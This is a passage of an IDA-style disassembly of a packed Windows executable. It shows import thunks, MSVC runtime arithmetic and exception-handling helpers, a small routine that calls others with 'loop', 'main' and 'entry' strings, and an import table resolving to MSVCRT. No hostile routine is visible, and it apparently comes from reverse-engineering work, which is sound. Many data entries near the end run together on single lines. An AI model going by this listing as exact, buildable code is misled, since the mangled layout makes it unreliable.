; ---------------------------------------------------------------------------


loc_416A62:				; CODE XREF: .packed:00416A4Cj
		mov	eax, [ebp-101Ch]
		inc	eax
		mov	[ebp-101Ch], eax


loc_416A6F:				; CODE XREF: .packed:00416A60j
		jmp	short loc_416A20
; ---------------------------------------------------------------------------


loc_416A71:				; CODE XREF: .packed:00416A34j
		push	1000h
		lea	eax, [ebp-1018h]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp-1124h], eax
		cmp	dword ptr [ebp-1124h], 0
		jz	short loc_416AA3
		cmp	dword ptr [ebp-1124h], 0FFFFFFFFh
		jnz	short loc_416AAC


loc_416AA3:				; CODE XREF: .packed:00416A98j
		and	dword ptr [ebp-4], 0
		jmp	loc_4169F8
; ---------------------------------------------------------------------------


loc_416AAC:				; CODE XREF: .packed:00416AA1j
		and	dword ptr [ebp-101Ch], 0
		lea	eax, [ebp-1018h]
		push	eax
		call	sub_40E943
		pop	ecx
		jmp	loc_416A20
; ---------------------------------------------------------------------------


loc_416AC5:				; DATA XREF: .packed:004172A8o
		push	offset aLoop	; "loop"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_416ADB:				; DATA XREF: .packed:004172ACo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-4], 0
		jmp	loc_416A19
; ---------------------------------------------------------------------------
		push	offset aEntry	; "entry"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword_41DF18, 0
		jz	short loc_416B1E
		push	offset dword_41DE3C
		push	offset dword_41DB90
		call	sub_40D4AB
		pop	ecx
		pop	ecx


loc_416B1E:				; CODE XREF: .packed:00416B0Bj
		call	dword_417254
		push	0
		call	sub_416BFC
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B3A	proc near		; CODE XREF: sub_401000+3Cp
					; sub_4020C2+62p ...
		jmp	dword_41712C
sub_416B3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B40	proc near		; CODE XREF: sub_401146+7Ap
					; sub_4017AA+Ep ...
		jmp	dword_4171BC
sub_416B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B46	proc near		; CODE XREF: sub_401244+85p
					; sub_4017AA+22p ...
		jmp	dword_4171B8
sub_416B46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B4C	proc near		; CODE XREF: sub_401244+25p
					; sub_401244+4DEp ...
		jmp	dword_4171B4
sub_416B4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B52	proc near		; CODE XREF: sub_401244+1Ap
					; sub_401981+18p ...
		jmp	dword_4171B0
sub_416B52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B58	proc near		; CODE XREF: sub_4017AA+5Ap
					; sub_4024F3+88p ...
		jmp	dword_4171AC
sub_416B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B5E	proc near		; CODE XREF: sub_4018AF+9Fp
					; sub_4055E5+231p ...
		jmp	dword_4171A8
sub_416B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B64	proc near		; CODE XREF: sub_4018AF+3Bp
					; sub_4018AF+5Dp ...
		jmp	dword_4171A4
sub_416B64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B6A	proc near		; CODE XREF: sub_401981+145p
					; sub_401981+158p ...
		jmp	dword_4171A0
sub_416B6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B70	proc near		; CODE XREF: sub_401D6E+A5p
					; sub_403260+4Cp ...
		jmp	dword_41719C
sub_416B70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B76	proc near		; CODE XREF: sub_401E38+1ABp
					; sub_4020C2+1A6p ...
		jmp	dword_417198
sub_416B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B7C	proc near		; CODE XREF: sub_401E38+179p
					; sub_402698+24Cp ...
		jmp	dword_417194
sub_416B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B82	proc near		; CODE XREF: sub_401E38+9Dp
					; sub_401E38+262p ...
		jmp	dword_417190
sub_416B82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B88	proc near		; CODE XREF: sub_401E38+42p
					; sub_4020C2+159p ...
		jmp	dword_41718C
sub_416B88	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B90	proc near		; CODE XREF: sub_4020C2+2C1p
					; sub_41102F+94p ...
		jmp	dword_417188
sub_416B90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B96	proc near		; CODE XREF: sub_4020C2+198p
					; sub_4020C2+1BCp ...
		jmp	dword_417184
sub_416B96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B9C	proc near		; CODE XREF: sub_4024F3+26p
					; sub_4024F3+46p ...
		jmp	dword_417180
sub_416B9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BA2	proc near		; CODE XREF: sub_402698+160p
					; sub_40CA29+F6p ...
		jmp	dword_41717C
sub_416BA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BA8	proc near		; CODE XREF: sub_402698+CCp
					; sub_402698+110p ...
		jmp	dword_417178
sub_416BA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BAE	proc near		; CODE XREF: sub_402698+4Bp
					; sub_4083AD+3DFp ...
		jmp	dword_417174
sub_416BAE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416BC0	proc near		; CODE XREF: sub_403DF3+8p
					; sub_40546E+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_416BE0


loc_416BCC:				; CODE XREF: sub_416BC0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_416BCC


loc_416BE0:				; CODE XREF: sub_416BC0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_416BC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BF0	proc near		; CODE XREF: sub_4041B7+Dp
					; sub_4041B7+28p ...
		jmp	dword_417170
sub_416BF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BF6	proc near		; CODE XREF: sub_406041+67p
		jmp	dword_41716C
sub_416BF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BFC	proc near		; CODE XREF: sub_406E8E+2B3p
					; .packed:00416B26p
		jmp	dword_417168
sub_416BFC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416C10	proc near		; CODE XREF: sub_40821B+61p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_416C31
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_416C81
; ---------------------------------------------------------------------------


loc_416C31:				; CODE XREF: sub_416C10+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_416C3F:				; CODE XREF: sub_416C10+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416C3F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_416C6A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_416C6A
		jb	short loc_416C72
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_416C72


loc_416C6A:				; CODE XREF: sub_416C10+4Aj
					; sub_416C10+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_416C72:				; CODE XREF: sub_416C10+52j
					; sub_416C10+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_416C81:				; CODE XREF: sub_416C10+1Fj
		pop	ebx
		retn	10h
sub_416C10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416C90	proc near		; CODE XREF: sub_40821B+30p
					; sub_40821B+3Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_416CB2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_416CF3
; ---------------------------------------------------------------------------


loc_416CB2:				; CODE XREF: sub_416C90+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_416CC0:				; CODE XREF: sub_416C90+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416CC0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_416CEE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_416CEE
		jb	short loc_416CEF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_416CEF


loc_416CEE:				; CODE XREF: sub_416C90+4Ej
					; sub_416C90+54j
		dec	esi


loc_416CEF:				; CODE XREF: sub_416C90+56j
					; sub_416C90+5Cj
		xor	edx, edx
		mov	eax, esi


loc_416CF3:				; CODE XREF: sub_416C90+20j
		pop	esi
		pop	ebx
		retn	10h
sub_416C90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416CF8	proc near		; CODE XREF: sub_4088FC+1FAp
					; sub_409226+5Cp ...
		jmp	dword_417164
sub_416CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416CFE	proc near		; CODE XREF: sub_409226+55p
					; sub_4092A4+55p ...
		jmp	dword_417160
sub_416CFE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416D10	proc near		; CODE XREF: sub_409226+42p
					; sub_4092A4+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_416D31
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_416D31:				; CODE XREF: sub_416D10+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_416D4D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_416D4D:				; CODE XREF: sub_416D10+27j
		or	eax, eax
		jnz	short loc_416D69
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_416DAA
; ---------------------------------------------------------------------------


loc_416D69:				; CODE XREF: sub_416D10+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_416D77:				; CODE XREF: sub_416D10+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_416D77
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_416DA5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_416DA5
		jb	short loc_416DA6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_416DA6


loc_416DA5:				; CODE XREF: sub_416D10+85j
					; sub_416D10+8Bj
		dec	esi


loc_416DA6:				; CODE XREF: sub_416D10+8Dj
					; sub_416D10+93j
		xor	edx, edx
		mov	eax, esi


loc_416DAA:				; CODE XREF: sub_416D10+57j
		dec	edi
		jnz	short loc_416DB4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_416DB4:				; CODE XREF: sub_416D10+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_416D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DBA	proc near		; DATA XREF: sub_4093B6+Ao
					; sub_4094E6+Ao ...
		jmp	dword_41715C
sub_416DBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DC0	proc near		; CODE XREF: sub_409479+41p
					; sub_4095A4+162p
		jmp	dword_417158
sub_416DC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DC6	proc near		; CODE XREF: sub_4095A4+11Bp
		jmp	dword_417154
sub_416DC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DCC	proc near		; CODE XREF: sub_409CB1+105p
					; sub_409CB1+114p ...
		jmp	dword_417150
sub_416DCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DD2	proc near		; CODE XREF: sub_409CB1+42p
					; sub_409CB1+88p
		jmp	dword_41714C
sub_416DD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DD8	proc near		; CODE XREF: sub_409CB1+1Ap
					; sub_409DD0+13Bp
		jmp	dword_417148
sub_416DD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DDE	proc near		; CODE XREF: sub_40A2D2+13Ep
					; sub_40A9CF+1F6p ...
		jmp	dword_417144
sub_416DDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DE4	proc near		; CODE XREF: sub_40A8AD+90p
		jmp	dword_417140
sub_416DE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DEA	proc near		; CODE XREF: sub_40A9CF+185Cp
		jmp	dword_41713C
sub_416DEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DF0	proc near		; CODE XREF: sub_40D420+47p
					; sub_40D4AB+50p ...
		jmp	dword_417138
sub_416DF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DF6	proc near		; CODE XREF: sub_40EF59+6Bp
					; sub_40EF59+C1p
		jmp	dword_417134
sub_416DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DFC	proc near		; CODE XREF: sub_40F040+52p
					; sub_40F040+A8p
		jmp	dword_417130
sub_416DFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416E02	proc near		; CODE XREF: sub_40F040+1Ep
		jmp	dword_417128
sub_416E02	endp

; ---------------------------------------------------------------------------


loc_416E08:				; CODE XREF: .packed:00416FE2j
		jmp	dword_417124
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416E10	proc near		; CODE XREF: sub_414EF4+5p
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_416E10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416E30	proc near		; CODE XREF: sub_4048EF+4Ep
					; sub_4048EF+2CFp ...
		jmp	dword_4171F8
sub_416E30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416E40	proc near		; CODE XREF: sub_414EF4+EAp
					; sub_414EF4+1E2p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_416EAF
		retn	4
sub_416E40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E4E	proc near		; CODE XREF: sub_414EF4+134p
					; sub_414EF4+2D8p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_416EA0
		mov	ecx, [eax]
		lea	edx, [ebp+arg_4]
		push	edx
		push	offset dword_41DEB0
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_416EA0
		mov	eax, [ebp+arg_4]
		push	esi
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		test	esi, esi
		pop	esi
		jnz	short loc_416EA0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	dword_4171C8
		test	eax, eax
		jz	short loc_416EA0
		and	[ebp+var_4], 0


loc_416EA0:				; CODE XREF: sub_416E4E+Dj
					; sub_416E4E+1Fj ...
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_416EAF
		leave
		retn	0Ch
sub_416E4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EAF	proc near		; CODE XREF: sub_416E40+6p
					; sub_416E4E+58p

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416ED3
		lea	eax, [ebp+var_10]
		push	offset dword_4173B8
		push	eax
		call	sub_416FA2	; _CxxThrowException
sub_416EAF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416ED3	proc near		; CODE XREF: sub_416EAF+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_4]
		mov	dword ptr [esi], offset	off_4172B4
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_416EFF
		cmp	[esp+4+arg_8], 0
		jz	short loc_416EFF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_416EFF:				; CODE XREF: sub_416ED3+1Dj
					; sub_416ED3+24j
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_416ED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F05	proc near		; DATA XREF: .packed:off_4172B4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416F4E
		test	[esp+4+arg_0], 1
		jz	short loc_416F1B
		push	esi
		call	sub_416DCC
		pop	ecx


loc_416F1B:				; CODE XREF: sub_416F05+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416F05	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		mov	eax, [eax+8]
		and	dword ptr [esi+0Ch], 0
		mov	[esi+8], eax
		test	eax, eax
		mov	dword ptr [esi], offset	off_4172B4
		jz	short loc_416F48
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_416F48:				; CODE XREF: .packed:00416F40j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_416F4E	proc near		; CODE XREF: sub_416F05+3p
					; DATA XREF: .packed:004173BCo
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	dword ptr [esi], offset	off_4172B4
		test	eax, eax
		jz	short loc_416F64
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_416F64:				; CODE XREF: sub_416F4E+Ej
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	short loc_416F72
		push	esi
		call	dword_4170B0


loc_416F72:				; CODE XREF: sub_416F4E+1Bj
		pop	esi
		retn
sub_416F4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F74	proc near		; CODE XREF: sub_401244+120p
					; sub_406E8E+DAp ...
		jmp	dword_4171C0
sub_416F74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F7A	proc near		; CODE XREF: sub_4020C2+113p
					; sub_4038BA+22Fp ...
		jmp	dword_417114
sub_416F7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F80	proc near		; CODE XREF: sub_402A32+CCp
					; sub_402A32+2B9p ...
		jmp	dword_417118
sub_416F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F86	proc near		; DATA XREF: .packed:off_4172BCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416FA8
		test	[esp+4+arg_0], 1
		jz	short loc_416F9C
		push	esi
		call	sub_416DCC
		pop	ecx


loc_416F9C:				; CODE XREF: sub_416F86+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416F86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416FA2	proc near		; CODE XREF: sub_416EAF+1Fp
		jmp	dword_41711C
sub_416FA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416FA8	proc near		; CODE XREF: sub_416F86+3p
		jmp	dword_417120
sub_416FA8	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A00h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------


loc_416FBC:				; DATA XREF: .packed:0041737Co
		lea	ecx, [ebp-10h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0DF8h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E14h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------


loc_416FDD:				; DATA XREF: sub_414EF4o
		mov	eax, offset dword_417350
		jmp	loc_416E08
; ---------------------------------------------------------------------------
		align 4
		dd 6 dup(0)
dword_417000	dd 17D12h	dword_417004	dd 17D00h						; sub_406C51+96r
dword_417008	dd 17D22h						; sub_406722+184r ...
dword_41700C	dd 17D32h						; sub_4083AD+2DDr ...
dword_417010	dd 17D46h	dword_417014	dd 17D58h	dword_417018	dd 17D6Ah	dword_41701C	dd 17D7Ah	dword_417020	dd 17D90h						; sub_4102AE+37r ...
dword_417024	dd 17DA2h	dword_417028	dd 17CF2h						; sub_406722+2F9r ...
		align 10h
dword_417030	dd 17AB6h						; sub_40D043+20Br ...
dword_417034	dd 17AA4h						; sub_408342+4Br
dword_417038	dd 17A8Ch	dword_41703C	dd 17A80h						; sub_414EF4+8EEr
dword_417040	dd 17A68h	dword_417044	dd 17A5Ah						; sub_406B81+95r ...
dword_417048	dd 17A4Ch	dword_41704C	dd 17A3Eh	dword_417050	dd 17A28h						; sub_406AE7+15r ...
dword_417054	dd 17A18h						; sub_403BD3+32r ...
dword_417058	dd 17A06h						; sub_403BD3+4Dr ...
dword_41705C	dd 179F8h						; sub_407148+18Br ...
dword_417060	dd 179ECh						; sub_406E8E+1FEr
dword_417064	dd 179DCh						; sub_409CB1+CFr ...
dword_417068	dd 179D0h						; sub_406D90+D3r
dword_41706C	dd 179C2h	dword_417070	dd 179B4h						; sub_401981+D7r
dword_417074	dd 179A0h						; sub_401981+111r
dword_417078	dd 17AC6h	dword_41707C	dd 1797Ch						; sub_406E8E+2A5r
dword_417080	dd 1796Ch	dword_417084	dd 17956h	dword_417088	dd 1794Ah	dword_41708C	dd 17920h						; sub_40332B+1D0r ...
dword_417090	dd 1790Ah						; sub_40332B+1D7r ...
dword_417094	dd 178FCh						; sub_406041+193r ...
dword_417098	dd 178E8h						; sub_406509+91r
dword_41709C	dd 178E0h						; sub_401244+4F4r ...
dword_4170A0	dd 178CCh						; sub_406643+3Br
dword_4170A4	dd 178BEh						; sub_401244+4C1r ...
dword_4170A8	dd 178A8h						; sub_406E8E+22Ar ...
dword_4170AC	dd 1789Ah						; sub_401E38+30r ...
dword_4170B0	dd 17E32h	dword_4170B4	dd 17BCAh	dword_4170B8	dd 17BDAh	dword_4170BC	dd 17BECh	dword_4170C0	dd 17BFCh	dword_4170C4	dd 17ADAh	dword_4170C8	dd 17AF0h						; sub_408F2E+134r
dword_4170CC	dd 17B06h						; sub_408F2E+7Fr ...
dword_4170D0	dd 17B16h						; sub_4092A4:loc_409307r ...
dword_4170D4	dd 17B26h						; sub_4092A4+14r ...
dword_4170D8	dd 17B42h						; sub_4092A4+Ar ...
dword_4170DC	dd 17B5Ch	dword_4170E0	dd 17B6Ch						; sub_4098F3+1B6r
dword_4170E4	dd 17B7Eh	dword_4170E8	dd 17934h						; sub_406643+19r
dword_4170EC	dd 17B9Ah	dword_4170F0	dd 1798Eh	dword_4170F4	dd 17C60h	dword_4170F8	dd 17C50h	dword_4170FC	dd 17C44h						; sub_414EF4+5BCr ...
dword_417100	dd 17C38h	dword_417104	dd 17C1Eh	dword_417108	dd 17C12h						; sub_414EF4+5CEr ...
dword_41710C	dd 17BB2h			dd 0
dword_417114	dd 77C1C1F3h	; resolved to->MSVCRT._itoadword_417118	dd 77C464BFh	; resolved to->MSVCRT._strnicmpdword_41711C	dd 77C226F6h	; resolved to->MSVCRT._CxxThrowExceptiondword_417120	dd 77C21868h	dword_417124	dd 77C227FAh	; resolved to->MSVCRT.__CxxFrameHandlerdword_417128	dd 77C472B0h	; resolved to->MSVCRT.memmovedword_41712C	dd 77C46030h	; resolved to->MSVCRT.strcpydword_417130	dd 77C35E02h	; resolved to->MSVCRT._rotrdword_417134	dd 77C35DDEh	; resolved to->MSVCRT._rotldword_417138	dd 77C3FF8Ah	; resolved to->MSVCRT._vsnprintfdword_41713C	dd 77C46EB0h	; resolved to->MSVCRT.memcmpdword_417140	dd 17826h	dword_417144	dd 1781Ch	dword_417148	dd 17812h	dword_41714C	dd 17802h	dword_417150	dd 177F2h	dword_417154	dd 177E6h	dword_417158	dd 177D4h	dword_41715C	dd 177C0h	dword_417160	dd 177B8h	dword_417164	dd 177B0h	dword_417168	dd 177A8h	dword_41716C	dd 1779Eh	dword_417170	dd 17794h	dword_417174	dd 17788h	dword_417178	dd 1777Eh	dword_41717C	dd 17774h	dword_417180	dd 1776Ch	dword_417184	dd 17764h	dword_417188	dd 1775Ch	dword_41718C	dd 17754h	dword_417190	dd 1774Ah	dword_417194	dd 17740h	dword_417198	dd 17738h	dword_41719C	dd 1772Eh	dword_4171A0	dd 17724h	dword_4171A4	dd 1771Ch	dword_4171A8	dd 17712h	dword_4171AC	dd 17708h	dword_4171B0	dd 176FEh	dword_4171B4	dd 176F6h	dword_4171B8	dd 176ECh	dword_4171BC	dd 176E2h	dword_4171C0	dd 17DE4h			align 8
dword_4171C8	dd 800000C8h			align 10h
dword_4171D0	dd 17DC8h						; sub_402A32+79Br ...
		align 8
dword_4171D8	dd 17C9Ch	dword_4171DC	dd 17CD0h	dword_4171E0	dd 17C7Eh						; sub_408F2E+1D1r ...
dword_4171E4	dd 17C8Ah						; sub_415B60+84r
dword_4171E8	dd 17CB2h	dword_4171EC	dd 17CC0h						; sub_40D74D+7Er
		dd 0
dword_4171F4	dd 80000004h						; sub_4050EA+106r ...
dword_4171F8	dd 80000097h	dword_4171FC	dd 80000001h						; sub_4048EF+39Fr
dword_417200	dd 80000016h						; sub_412A3A+178r ...
dword_417204	dd 80000015h						; sub_4055E5+7Br ...
dword_417208	dd 80000002h						; sub_411DC5+DFr ...
dword_41720C	dd 80000013h						; sub_40A9CF+1A74r
dword_417210	dd 80000005h						; sub_4045B2+21r
dword_417214	dd 8000000Ah						; sub_40447B+10r
dword_417218	dd 80000017h						; sub_4046BC+CEr ...
dword_41721C	dd 8000000Ch						; sub_40732D+1A8r ...
dword_417220	dd 80000033h						; sub_4038BA+171r ...
dword_417224	dd 8000006Fh						; sub_4038BA+186r ...
dword_417228	dd 80000038h	dword_41722C	dd 80000012h						; sub_404E1C+E0r ...
dword_417230	dd 80000003h						; sub_40A9CF+1A80r ...
